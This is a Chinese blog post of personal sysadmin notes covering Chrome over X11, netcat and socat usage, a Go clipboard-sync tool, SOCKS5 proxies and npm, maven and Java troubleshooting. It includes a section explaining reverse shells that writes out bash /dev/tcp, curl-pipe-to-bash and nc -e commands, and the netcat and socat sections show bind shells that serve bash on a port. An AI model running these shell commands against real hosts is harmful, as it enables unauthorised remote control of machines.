日常运维记录

一、sshd X11Forwarding

1、修改sshd服务 
vi /etc/sshd/sshd_config  #修改如下内容
X11Forwarding yes
X11UseLocalhost no 

2、安装包
wget https://dl.google.com/linux/direct/google-chrome-stable_current_x86_64.rpm 

yum install xorg-x11-xauth xorg-x11-font*
yum install google-chrome-stable_current_x86_64.rpm #chrome包 


3、调试chrome,访问使用mobaxterm(自带x11转发工具)
错误1:提示缺少动态链接库,可以https://pkgs.org/search/?q=libavahi-common.so.3 在这里搜索然后安装,
error while loading shared libraries: libavahi-common.so.3: cannot open shared object file: No such file or directory
示例: libavahi-common.so.3 => yum install avahi-libs

错误2: [26446:26446:0308/150842.806755:ERROR:zygote_host_impl_linux.cc(100)] Running as root without --no-sandbox is not supported. See https://crbug.com/638180.
vi /opt/google/chrome/google-chrome,修改最后一行为<<exec -a "$0" "$HERE/chrome" "$@" "--no-sandbox">>

错误3:打开后字符显示[]
修改字符集: LANG=en_US.UTF-8,要切花中文 LANG=zh_CN.UTF-8


错误3: ERROR:bus.cc(407)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcpix")
暂未解决

二、netcat常用

1、开启ssh端口 
nc -l -p 2222 -e /bin/bash #在连接建立的时候执行一个程序,并把它的标准输入输出重定向到网络连接上来
另外一个主机:nc $ip 2222 #可以向登录主机一样操作

2、传输文件
nc -l -p 8080 > image.jpg
nc 192.168.1.2 8080 < image.jpg

3、端口探测
nc -vz -w3 127.0.0.1 2222 #探测端口,-w超时时间

三、socat工具

1、网络策略
socat - TCP-LISTEN:8080 #主机1
socat - TCP:10.71.105.119:8080 #主机2去访问主机的ip和端口,相当于把两个链接给绑定起来
如果客户端结束,服务端也会结束;如果提示地址占用,推出当前session,重新链接即可

socat - TCP-LISTEN:8080,fork,reuseaddr #服务端添加参数后,可以同时应答多个链接过来的客户端

2、端口转发 
socat TCP-LISTEN:8080,fork,reuseaddr TCP:127.0.0.1:9090
socat TCP-LISTEN:8080,fork,reuseaddr  EXEC:/usr/bin/bash    # 服务端提供 shell

socat TCP-LISTEN:8081,reuseaddr,fork,crlf EXEC:/usr/bin/bash,stderr,setsid,setpgid,pty,ctty #更高级的一些参数
socat - TCP:127.0.0.1:8081 #直接登录

3、文件传输
socat -u TCP-LISTEN:8080 open:record.log,create    # 服务端接收文件
socat -u open:record.log TCP:localhost:8080        # 客户端发送文件

另外一个小工具,rinetd

四、两台主机共用粘贴板

package main

import (
	"crypto/md5"
	"flag"
	"fmt"
	"github.com/atotto/clipboard"
	"net"
	"net/http"
	"net/url"
	"time"
)

/*
功能:粘贴板小程序,两台主机之间同步粘贴板内容,一台有更新,则同步到另外一台;跨linux和windows平台
参数:1)本机监听端口-lp(local port),默认60001;2)对端ip地址+端口 -rp(remote port),-ra(remote address)
实现:
	1)两个监听
		1、监听剪贴板更新
		2、监听端口作为服务端
	2)粘贴板有更新时,向服务端发送粘贴板内容
	3)服务端收到粘贴内容后修改粘贴板内容,并回复修改成功
	4)刚开始的时候,服务端可能没开,需要探测
	5)遗留问题
		1、这里有个问题,就是粘贴板一个有变化,会在两个终端上重复写一次
		2、图片在粘贴板不能同步
        3、数据量太大会粘贴失败
     6)使用方法:
        主机1:.\click.exe -la 192.168.0.101 -lp 60001 -ra 192.168.0.105 -rp 60001
        主机2: ./click -la 192.168.0.105 -lp 60001 -ra 192.168.0.101 -rp 60001
*/

type clickStruct struct {
	localAddr  string
	localPort  uint64
	remoteAddr string
	remotePort uint64
}

func sendtoserver(addr string, port uint64, msg string) {
	apiUrl := fmt.Sprintf("http://%v:%v/clickboard", addr, port)
	q1 := url.Values{}
	q1.Set("data", msg)
	u, err := url.ParseRequestURI(apiUrl) //返回一个*URL的 结构体
	if err != nil {
		fmt.Printf("[ERROR] parse url requestUrl failed, err:%v\n", err)
	}
	u.RawQuery = q1.Encode() //RawQuery:encoded query values,  q1.Encode 加密
	//u这个*URL对象的RawQuery属性为 q1的内容,server需要响应的解码
	//fmt.Println(u.String())
	resp, err := http.Get(u.String())
	if err != nil {
		fmt.Println("http Get error,", err)
	}
	defer resp.Body.Close() //注意:程序在使用完response后必须关闭回复的主体
}

func clickboardSync(addr clickStruct) {
	testRemote(addr)
	var curr_lenght [16]byte
	for {
		t := time.Now().Format("2006-01-02 15:04:05") //执行太快,会影响鼠标和键盘使用
		time.Sleep(100 * time.Millisecond)
		cnt, err := clipboard.ReadAll()
		if err == nil {
			tmp := md5.Sum([]byte(cnt)) //判断
			if tmp == curr_lenght {
				continue
			} else {
				curr_lenght = tmp
			}
			fmt.Printf("[INFO] %v 准备发送到服务端的内容为:[%v]\n", t, cnt)
			sendtoserver(addr.remoteAddr, addr.remotePort, cnt)
		}
	}
}

func f1(w http.ResponseWriter, r *http.Request) {
	_, err := w.Write([]byte("hello world"))
	if err != nil {
		w.Write([]byte(fmt.Sprintf("%v", err)))
		return
	}
	queryparam := r.URL.Query()
	data := queryparam.Get("data")
	fmt.Printf("[INFO] 服务端收到内容:[%v]\n", data)
	defer r.Body.Close()
	err = clipboard.WriteAll(data)
	if err != nil {
		fmt.Printf("[ERROR] 写入粘贴板失败 %v\n", err)
	} else {
		fmt.Printf("[INFO] 写入粘贴板成功 %v\n", data)
	}

}

func serverListen(addr clickStruct) {
	http.HandleFunc("/clickboard", f1)
	err := http.ListenAndServe(fmt.Sprintf("%v:%v", addr.localAddr, addr.localPort), nil)
	if err != nil {
		fmt.Println("[ERROR] ListenAndServe", err)
	}

}

func testRemote(obj clickStruct) {
	for {
		time.Sleep(10 * time.Second) //每10s探测一次
		conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", obj.remoteAddr, obj.remotePort), 5*time.Second)

		if err == nil {
			conn.Close()
			fmt.Println("[INFO] 目标端口已开启")
			return
		} else {
			fmt.Println("[ERROR]", err)
		}
	}
}

func main() {
	//1、参数校验,生成参数
	var lport, rport uint64
	var laddr, raddr string
	flag.StringVar(&raddr, "ra", "127.0.0.1", "远程主机ip")
	flag.StringVar(&laddr, "la", "127.0.0.1", "本机监听ip")
	flag.Uint64Var(&lport, "lp", 60001, "本机监听port")
	flag.Uint64Var(&rport, "rp", 60002, "远程主机port")
	flag.Parse()
	fmt.Printf("[INFO] [%v] [本地端口:%v] [远程地址: %v:%v]\n", time.Now().Format("2006-01-02 15:04:05"), lport, raddr, rport)

	var clickObject clickStruct
	clickObject.remotePort = rport
	clickObject.localPort = lport
	clickObject.remoteAddr = raddr
	clickObject.localAddr = laddr

	//2、开启本机监听
	go clickboardSync(clickObject)

	serverListen(clickObject)
}


五、cockpit web管理linux

dnf install cockpit cockpit-machines
systemctl start cockpit.socket
systemctl enable cockpit.socket

可以使用https协议,直接ssh访问主机,执行终端命令

六、socket5代理

Socks5代理是一种网络协议,它可以在传输层为数据包提供认证和转发服务,从而实现更高级别的隐私和安全性。
chrome使用插件来使用 socket代理,但本身只是代理工具,代理服务端还要单独配置
安装步骤:
1、SwitchOmega安装
下载代理SwitchOmega代理 下载后修改后缀为 ".zip"
chrome扩展程序,拖拽安装即可

2、安装socket服务端,这里用gost
gost简单用法:gost -L:9090 #开启socket5 和http 9090端口代理

ss5

七、反弹shell

  • 正向:常用的登录机器执行命令。
  • 反向:目的端(被攻击目标)可以出,不能入。目的端访问客户端(攻击者)ip,使攻击者可以在本地访问直接执行远程命令
  • 场景:目标ip为动态,目标主机无法直接访问。

原理:

  • 1、攻击者A开启监听(一般为公网)
  • 2、目的端B访问公网ip,A和B建立链接
  • 3、A通过tcp服务将待执行命令发送到B,B执行后返回给A

步骤:

A:nc -lvp 1111 #l:listen,v:verbose,p:source port
B:bash -i >& /dev/tcp/${A.IP}/${A.PORT} 0>&1 
A:netstat -ant #可以看到已经建立好的通道

bash -i :产生一个交互shell
>& :标准输入和标准输出重定向到文件(目的不在目的端显示执行的命令),0和1 ,效果同: &>
/dev/* :打开了一个特殊设备,相当于创建了一个socket链接
0>&1 :将标准输入重定向到标准输出; 0:stdin;1:stdout;2:stderr


标准输入和输出:
> :覆盖
>> :追加
2>&1 : 标准输出和标准错误重定向到同一文件,请使用以下命令语法。具体来说,将 2>&1 附加到常用命令的末尾。echo "linuxconfig.org" > new-file.txt 2>&1 
标准输入和输出分开:echo "linuxconfig.org" 2> std-err.txt 1> std-out.txt

扩展:
1) bash -i >  /dev/tcp/${A.IP}/${A.PORT} #攻击者只能看结果不能操作
2)curl:攻击者准备http服务,放置命令;被攻击者执行curl http://ip/reversesh | bash 重定向执行
3)nc实现反弹,被攻击者执行 "nc $IP $PORT -e /bin/sh"
4)结合screen|setsid 可以实现后台运行,可以创建一个服务端探动态获取可以访问的端口,被攻击方调整参数去访问。


八、npm以及maven依赖生成

1、npm依赖生成

yum install npm #部分应用node版本有要求,需要确认
npm config set registry=https://registry.npm.taobao.org
npm i -g cnpm ;cnpm -v ;npm install -g cgr  #可选
cnpm i 或 npm i #生成依赖,正常情况下npm即可完成,生成后即可使用

常见问题
1)spawn git ENOENT #表示git没有安装
2)near heap limit Allocation failed - JavaScript heap out of memory
export NODE_OPTIONS="--max-old-space-size=4096" #根据主机配置,限制内存
3)找不到"node:path" modules #升级npm版本

4)You installed esbuild for another platform than the one you're currently using.
This won't work because esbuild is written with native code and needs to
install a platform-specific binary executable.
这个fishx的框架   是区分操作系统的   所以没法直接拿Windows的依赖用;要自己在Linux虚机里面下代码   打包编译   然后把依赖copy出来


2、maven依赖安装

注意清理:"_remote.repositories"  和 ".lastUpdated",排除本地仓库本身问题

示例:a.txt内容如下(内容可以从maven提示缺失的依赖中获取)
com.alibaba.cloud:spring-cloud-starter-alibaba-nacos-discovery:jar:1.5.0.RELEASE
com.alibaba.cloud:spring-cloud-starter-alibaba-nacos-config:jar:1.5.0.RELEASE
com.alibaba.cloud:spring-cloud-starter-alibaba-nacos-discovery:jar:1.5.0.RELEASE

生成安装命令
[root@localhost tmp]# for info in `cat a`;do echo $info |awk -F':' '{print "mvn install:install-file -Dfile=/$2"-"$4".jar -DgroupId="$1" -DartifactId="$2" -Dversion="$4" -Dpackaging=jar"}' ;done
mvn install:install-file -Dfile=spring-cloud-starter-alibaba-nacos-discovery-1.5.0.RELEASE.jar -DgroupId=com.alibaba.cloud -DartifactId=spring-cloud-starter-alibaba-nacos-discovery -Dversion=1.5.0.RELEASE -Dpackaging=jar
mvn install:install-file -Dfile=spring-cloud-starter-alibaba-nacos-config-1.5.0.RELEASE.jar -DgroupId=com.alibaba.cloud -DartifactId=spring-cloud-starter-alibaba-nacos-config -Dversion=1.5.0.RELEASE -Dpackaging=jar
mvn install:install-file -Dfile=spring-cloud-starter-alibaba-nacos-discovery-1.5.0.RELEASE.jar -DgroupId=com.alibaba.cloud -DartifactId=spring-cloud-starter-alibaba-nacos-discovery -Dversion=1.5.0.RELEASE -Dpackaging=jar

九、PKIX path building failed

javax.net.ssl.SSLHandshakeException: sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target

1、chrome打开https网址,点击”证书有效“->"详细信息"[选中域名]-导出->Base64编码ASCII 单一证书-> ,假如名字为"a.crt"
2、keytool -import -v -trustcacerts -alias jsyc -file domain.cert -storepass changeit -keystore ${JAVA_HOME}/jre/lib/security/cacerts 
3、查看cacerts中的证书列表
keytool -list -keystore ${JAVA_HOME}/jre/lib/security/cacerts -storepass changeit
根据别名和 SHA-256的内容查看
4、keytool -printcert -file /tmp/a.crt #pem格式也可以

#如果有问题,可以联系证书负责人获取证书

十、java常见网络问题



- **1 java.net.SocketTimeoutException .** 

**这 个异 常比较常见,socket 超时。一般有 2 个地方会抛出这个,一个是 connect 的 时 候 , 这 个 超 时 参 数 由connect(SocketAddress endpoint,int timeout) 中的后者来决定,还有就是 setSoTimeout(int timeout),这个是设定读取的超时时间。它们设置成 0 均表示无限大。**

- **2 java.net.BindException:Address already in use: JVM_Bind** 

该 异 常 发 生 在 服 务 器 端 进 行 new ServerSocket(port) 或者 socket.bind(SocketAddress bindpoint)操作时。

原因:与 port 一样的一个端口已经被启动,并进行监听。此时用 netstat –an 命令,可以看到一个 Listending 状态的端口。只需要找一个没有被占用的端口就能解决这个问题。

- **3 java.net.ConnectException: Connection refused: connect**

该异常发生在客户端进行 new Socket(ip, port)或者 socket.connect(address,timeout)操作时,原 因:指定 ip 地址的机器不能找到(也就是说从当前机器不存在到指定 ip 路由),或者是该 ip 存在,但找不到指定的端口进行监听。应该首先检查客户端的 ip 和 port是否写错了,假如正确则从客户端 ping 一下服务器看是否能 ping 通,假如能 ping 通(服务服务器端把 ping 禁掉则需要另外的办法),则 看在服务器端的监听指定端口的程序是否启动。

- **4 java.net.SocketException: Socket is closed** 

该异常在客户端和服务器均可能发生。异常的原因是己方主动关闭了连接后(调用了 Socket 的 close 方法)再对网络连接进行读写操作。

- **5 java.net.SocketException: Connection reset 或者Connect reset by peer:Socket write error**
该异常在客户端和服务器端均有可能发生,引起该异常的原因有两个,第一个就是假如一端的 Socket 被关闭(或主动关闭或者因为异常退出而引起的关闭), 另一端仍发送数据,发送的第一个数据包引发该异常(Connect reset by peer)。另一个是一端退出,但退出时并未关闭该连接,另 一 端 假 如 在 从 连 接 中 读 数 据 则 抛 出 该 异 常(Connection reset)。简单的说就是在连接断开后的读和写操作引起的。
还有一种情况,如果一端发送RST数据包中断了TCP连接,另外一端也会出现这个异常,如果是tomcat,异常如下:


org.apache.catalina.connector.ClientAbortException: java.io.IOException: Connection reset by peer
阿里的tcp方式的健康检查为了提高性能,省去挥手交互,直接发送一个RST来终断连接,就会导致服务器端出现这个异常;

 

对于服务器,一般的原因可以认为:
a) 服务器的并发连接数超过了其承载量,服务器会将其中一些连接主动 Down 掉.
b) 在数据传输的过程中,浏览器或者接收客户端关闭了,而服务端还在向客户端发送数据。

 

- **6 java.net.SocketException: Broken pipe**

该异常在客户端和服务器均有可能发生。在抛出SocketExcepton:Connect reset by peer:Socket write error 后,假如再继续写数据则抛出该异常。前两个异常的解决方法是首先确保程序退出前关闭所有的网络连接,其次是要检测对方的关闭连接操作,发现对方 关闭连接后自己也要关闭该连接。
对于 4 和 5 这两种情况的异常,需要特别注意连接的维护。在短连接情况下还好,如果是长连接情况,对于连接状态的维护不当,则非常容易出现异常。基本上对长连接需要做的就是:
a) 检测对方的主动断连(对方调用了 Socket 的 close 方法)。因为对方主动断连,另一方如果在进行读操作,则此时的返回值是-1。所以一旦检测到对方断连,则主动关闭己方的连接(调用 Socket 的 close 方法)。
b) 检测对方的宕机、异常退出及网络不通,一般做法都是心跳检测。双方周期性的发送数据给对方,同时也从对方接收“心跳数据”,如果连续几个周期都没有收到 对方心跳,则可以判断对方或者宕机或者异常退出或者网络不通,此时也需要主动关闭己方连接;如果是客户端可在延迟一定时间后重新发起连接。虽然 Socket 有一个keep alive 选项来维护连接,如果用该选项,一般需要两个小时才能发现对方的宕机、异常退出及网络不通。
 

- **7 java.net.SocketException: Too many open files**
原因: 操作系统的中打开文件的最大句柄数受限所致,常常发生在很多个并发用户访问服务器的时候。因为为了执行每个用户的应用服务器都要加载很多文件(new 一个socket 就需要一个文件句柄),这就会导致打开文件的句柄的缺乏。

解决方式:
a) 尽量把类打成 jar 包,因为一个 jar 包只消耗一个文件句柄,如果不打包,一个类就消耗一个文件句柄。
b) java 的 GC 不能关闭网络连接打开的文件句柄,如果没有执行 close()则文件句柄将一直存在,而不能被关闭。
也可以考虑设置 socket 的最大打开 数来控制这个问题。对操作系统做相关的设置,增加最大文件句柄数量
ulimit -a 可以查看系统目前资源限制,ulimit -n 10240 则可以修改,这个修改只对当前窗口有效。
 

十一、npm以及maven依赖生成

1、npm依赖生成

yum install npm #部分应用node版本有要求,需要确认
npm config set registry=https://registry.npmmirror.com/"
npm i -g cnpm ;cnpm -v ;npm install -g cgr  #可选
cnpm i 或 npm i #生成依赖,正常情况下npm即可完成,生成后即可使用

常见问题
1)spawn git ENOENT #表示git没有安装
2)near heap limit Allocation failed - JavaScript heap out of memory
export NODE_OPTIONS="--max-old-space-size=4096" #根据主机配置,限制内存
3)找不到"node:path" modules #升级npm版本

4)You installed esbuild for another platform than the one you're currently using.
This won't work because esbuild is written with native code and needs to
install a platform-specific binary executable.
这个fishx的框架   是区分操作系统的   所以没法直接拿Windows的依赖用;要自己在Linux虚机里面下代码   打包编译   然后把依赖copy出来
5):packages are looking for funding #npm i --no-fund 不捐赠即可
6):一直卡在idealTree:web: timing idealTree: #仓库域名更新,更新仓库域名

2、maven依赖安装

注意清理:"_remote.repositories"  和 ".lastUpdated",排除本地仓库本身问题

示例:a.txt内容如下(内容可以从maven提示缺失的依赖中获取)
com.alibaba.cloud:spring-cloud-starter-alibaba-nacos-discovery:jar:1.5.0.RELEASE
com.alibaba.cloud:spring-cloud-starter-alibaba-nacos-config:jar:1.5.0.RELEASE
com.alibaba.cloud:spring-cloud-starter-alibaba-nacos-discovery:jar:1.5.0.RELEASE

生成安装命令
[root@localhost tmp]# for info in `cat a`;do echo $info |awk -F':' '{print "mvn install:install-file -Dfile=/$2"-"$4".jar -DgroupId="$1" -DartifactId="$2" -Dversion="$4" -Dpackaging=jar"}' ;done
mvn install:install-file -Dfile=spring-cloud-starter-alibaba-nacos-discovery-1.5.0.RELEASE.jar -DgroupId=com.alibaba.cloud -DartifactId=spring-cloud-starter-alibaba-nacos-discovery -Dversion=1.5.0.RELEASE -Dpackaging=jar
mvn install:install-file -Dfile=spring-cloud-starter-alibaba-nacos-config-1.5.0.RELEASE.jar -DgroupId=com.alibaba.cloud -DartifactId=spring-cloud-starter-alibaba-nacos-config -Dversion=1.5.0.RELEASE -Dpackaging=jar
mvn install:install-file -Dfile=spring-cloud-starter-alibaba-nacos-discovery-1.5.0.RELEASE.jar -DgroupId=com.alibaba.cloud -DartifactId=spring-cloud-starter-alibaba-nacos-discovery -Dversion=1.5.0.RELEASE -Dpackaging=jar

posted @ 2024-03-13 17:30  MT_IT  阅读(22)  评论(0编辑  收藏  举报